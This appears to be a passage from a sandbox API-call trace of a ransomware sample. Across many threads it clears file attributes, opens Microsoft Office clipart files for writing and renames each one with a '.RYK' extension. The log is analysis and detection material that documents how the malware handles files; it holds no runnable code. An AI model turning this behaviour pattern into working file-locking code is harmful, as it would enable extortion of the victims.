	[0260.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3107
	os_tid = 0x3580

	[0260.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF", dwFileAttributes=0x80) returned 0
	[0260.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.171] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3108
	os_tid = 0x3584

	[0260.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF", dwFileAttributes=0x80) returned 0
	[0261.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3112
	os_tid = 0x3594

	[0260.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF", dwFileAttributes=0x80) returned 0
	[0261.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3113
	os_tid = 0x3598

	[0260.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF", dwFileAttributes=0x80) returned 0
	[0261.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3114
	os_tid = 0x359c

	[0260.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF", dwFileAttributes=0x80) returned 0
	[0261.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3115
	os_tid = 0x35a0

	[0260.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF", dwFileAttributes=0x80) returned 0
	[0261.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3116
	os_tid = 0x35a4

	[0260.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF", dwFileAttributes=0x80) returned 0
	[0260.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.737] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3117
	os_tid = 0x35a8

	[0260.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF", dwFileAttributes=0x80) returned 0
	[0260.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.736] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3118
	os_tid = 0x35ac

	[0260.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF", dwFileAttributes=0x80) returned 0
	[0260.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3119
	os_tid = 0x35b0

	[0260.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF", dwFileAttributes=0x80) returned 0
	[0260.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3120
	os_tid = 0x35b4

	[0260.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF", dwFileAttributes=0x80) returned 0
	[0261.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3121
	os_tid = 0x35b8

	[0260.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF", dwFileAttributes=0x80) returned 0
	[0261.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3122
	os_tid = 0x35bc

	[0260.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF", dwFileAttributes=0x80) returned 0
	[0260.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3129
	os_tid = 0x35e0

	[0260.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF", dwFileAttributes=0x80) returned 0
	[0260.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3130
	os_tid = 0x35e4

	[0260.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF", dwFileAttributes=0x80) returned 0
	[0260.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3131
	os_tid = 0x35e8

	[0260.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF", dwFileAttributes=0x80) returned 0
	[0260.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.335] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3132
	os_tid = 0x35ec

	[0260.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF", dwFileAttributes=0x80) returned 0
	[0260.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3133
	os_tid = 0x35f0

	[0260.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF", dwFileAttributes=0x80) returned 0
	[0260.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3134
	os_tid = 0x35f4

	[0260.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF", dwFileAttributes=0x80) returned 0
	[0260.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3135
	os_tid = 0x35f8

	[0260.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF", dwFileAttributes=0x80) returned 0
	[0260.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3136
	os_tid = 0x35fc

	[0260.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF", dwFileAttributes=0x80) returned 0
	[0260.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3137
	os_tid = 0x3600

	[0260.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF", dwFileAttributes=0x80) returned 0
	[0260.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3138
	os_tid = 0x3604

	[0260.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF", dwFileAttributes=0x80) returned 0
	[0260.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3139
	os_tid = 0x3608

	[0260.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF", dwFileAttributes=0x80) returned 0
	[0260.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3140
	os_tid = 0x360c

	[0260.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF", dwFileAttributes=0x80) returned 0
	[0261.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3145
	os_tid = 0x3620

